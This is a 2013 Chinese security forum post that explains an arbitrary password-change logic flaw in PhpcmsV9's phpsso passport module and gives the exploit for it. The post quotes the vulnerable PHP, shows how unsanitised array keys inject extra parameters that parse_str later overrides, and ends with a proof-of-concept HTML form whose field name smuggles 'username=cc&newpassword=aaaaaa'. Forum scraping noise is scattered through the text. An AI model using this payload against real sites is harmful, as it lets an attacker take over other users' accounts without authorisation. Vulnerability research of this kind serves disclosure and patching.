找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2017|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:* H! `6 `$ T; R/ a0 E

. }& l7 @4 R' x& O, T" v' d5 n) M' X
+ p0 B# V' C5 ]3 eparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);  C/ U, C% R4 [' k+ p- B
2 L) C' g8 o0 t2 B
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。% E5 V* A7 ~( f+ _! g0 o

% [  S0 c9 P% N3 x$ g我把它留给了你们。
0 H: x9 c3 n; h/ C- ]; K% T不知道你们发现了它没有。3 P  X+ S: @: s
+ z( ~/ U, ~, y6 O4 M6 n
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。2 a, G8 ~2 P6 c7 H  Z: U
( t2 z1 q: Q# C9 N9 Z% L
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。, r3 e: G( }' C1 Z
( K' k0 S- S- ?' o  t5 O
也就是
3 D* L+ \2 Q. B9 D6 D7 H' U
; K0 Q9 k4 X% y& _6 N6 yusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& k; {$ D; D$ p$ p- X; D
( G7 W6 B3 @' V2 V; g7 n) ?  I要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
7 k2 P  s' H; m
0 X% {, @0 m9 u* p5 _6 \$ s  `! N- a* h# P! N& F# p
其实我们有这样的机会,看看代码,如下:
. z) _& k) h1 c6 `  A% @* o% l: k& }5 b
6 f; D* e  `; S% o7 M  d
public function auth_data($data) {
5 T: q4 B0 x% ^& H                $s = $sep = '';
1 ~0 _3 C( Z7 z$ X# [0 o4 ~                foreach($data as $k => $v) {. @4 [( Q& [: F# f$ H' _6 B* N
                        if(is_array($v)) {; e6 W. y5 N# G% \& Z
                                $s2 = $sep2 = '';& l/ t* d0 U/ o2 r
                                foreach($v as $k2 => $v2) {/ A9 L7 L8 M$ k  Q0 |
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 P$ g! N4 J( g) c. A, \9 E# i
                                        $sep2 = '&';
% b4 _; ?: I: s5 P. c                                }) Z: Y- J: S9 e+ J  n7 M5 R
                                $s .= $sep.$s2;
1 p: ~1 N+ y1 a% X/ B                        } else {
* x" n1 t9 A$ n9 W/ y# E! {# F9 S. T                                $s .= "$sep$k=".$this->_ps_stripslashes($v);' G6 V6 M: ]" b6 ], h' o2 ]
                        }: e2 w6 G* \& l2 c
                        $sep = '&';1 z) o! Q# j" {3 y: e+ w0 h' E! j
                }
/ C) C" l. F( ]& j) y8 i4 D
) D6 O' o2 ]! ]" c0 x/ B$ S                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));! p  B; \# K, c+ o" I' n5 W
                return $auth_s;
6 l: p" \3 V, g; r% f0 @! d& h6 W# t        }
* g" ?' V& _2 M! P  E7 }- `6 S& i, T9 Y) G/ n
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。  S  K" O0 |0 f9 t
. U, q1 c" b9 B5 K; {
举个例子: h- O& T# {; u$ M: Q

5 A6 Q; J1 N" h$ j1 K! x/ `6 z$a[aaa=a&bbb] = 'a';- R' B* q0 z2 o* F5 \: T

  a$ q" ]3 [5 l9 Q& K会变成aaa=a&bbb=a1 _2 \2 h* X- O: ?7 _2 B

; k6 {$ u9 U4 O3 T6 e+ M# k明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
( q& N1 _2 s/ G# x+ n+ g0 v: p% V1 O' e; p' c
这个时候,我们可以再去看一个函数。$ x" J! ^8 O5 N1 B

! [' A. r  e: n/ `- q就在这个文件内:, _' J5 q; j) w; ^. |
5 G. A/ m( f0 y
' S0 Y# t" l" D# ]
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
& z  D% h% q4 J                if($email && !$this->_is_email($email)) {
% K- n- F9 ~$ k5 H( X  _                        return -4;; z1 R6 F8 X6 z$ u
                }
# ~4 C0 G: n; G5 u8 p) L8 X                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; |( x: \: G2 t- \. N
        }- T0 ]7 }) a* j

" z# q3 \$ V6 }: h9 P这是向通行证发了这样一个请求。
  \" C4 x$ z6 T- K
. V7 \2 B+ Y6 t我们再跟到通信证代码里去看看,就会有所发现。
; a$ w; Y, j' E  q# L4 M4 U5 `% s. G' _) W. o/ D6 C6 p

7 ?. Z4 i- w6 n2 g, p* O5 Cpublic function edit() {+ j+ e3 u! m5 y. z
//能省就省,太长了不是吗?
" H+ D$ B; `5 d9 f$ X; p
& O' O5 I0 d$ m3 d; }7 l0 Dif($this->username) {6 z: @6 c; T1 o/ S, @
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。) w' R. ]. X, N
                                $res = $this->db->update($data, array('username'=>$this->username));
: B/ ^, L  j" n8 P  \8 M5 P( t                        } else {" ?+ m% A7 s8 S) `; E' f
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);3 k2 g3 N- |( c
                                $res = $this->db->update($data, array('uid'=>$this->uid));
' F% L2 \/ x! A' u                        }+ [5 l# h2 i* [9 d" h
- D% v& i/ X; A1 R# V' _( x
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:% Y2 a0 C5 J: f. P
# l- T+ }* [* X5 F" `; Y. d5 ]
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')& X+ e( r. \' Z* Y) j- q
- p6 Q6 U3 z( F) o; [$ a! W- H
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
1 I/ j! _% P) I+ w. U8 M; ^6 z6 D- m: O, h8 Q  h, o
我当然找到了:# k0 e. S' N- k6 R) f
phpcms9/phpcms/modules/member/index.php! f# F" t$ D) A8 G1 a
9 M4 ~$ X! I. Y9 b8 B0 u& H- ?
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
  R3 i/ @* @2 i' w  ?; e; n$ _8 w2 w  i$ a
然后就没有然后了。
' C" ]$ e1 I9 v0 I3 E8 w  Z& u% m! u/ t2 e3 W( a
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">: r* A- e. R1 }8 f/ l  m# {, @( v
                                <table width="100%" cellspacing="0" class="table_form">
7 S, P* ]  r/ r2 q( v                                        <tr>
6 p6 |  \- r* s: n* }4 N( e0 `                                                <th width="80">邮箱:</th>        
% X0 `9 `+ m' Z- j6 t                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>$ o5 n  j  ^- Z5 Q5 X1 N
                                        </tr>6 e. K( u6 `3 K4 x
                                        <tr>
% A( d9 V7 R' t/ T- M- a/ z                                                <th width="80">原密码:</th>        1 A  m: E* ~8 ~
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 K: B8 d! O7 n: I- N                                        </tr>/ J3 ^2 t/ z% C! l! @
                                        <tr>
7 z0 E6 B' d7 f7 k                                                <th>新密码:</th>
$ }0 B7 z9 ^  H" ]9 B. N& g. g; G                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
# {' W4 N* b) c. |3 K8 I                                        </tr>; f; r* x9 a/ H- f
                                        <th></th>! E6 l9 X  y, l: `2 P
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
) W  |# `8 k5 g4 m) v2 [) H                                        </tr>! h7 k! R0 z7 S( C# M4 O9 r* r
                                </table>7 I: h9 N* @3 N- M3 y1 z

/ x: i- @( ]$ |" ?                                . \  a) S/ H6 U+ y0 Q  W) E+ R0 T
                        </form>% Z2 ^  o: G- D1 s6 ^  v6 U% J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表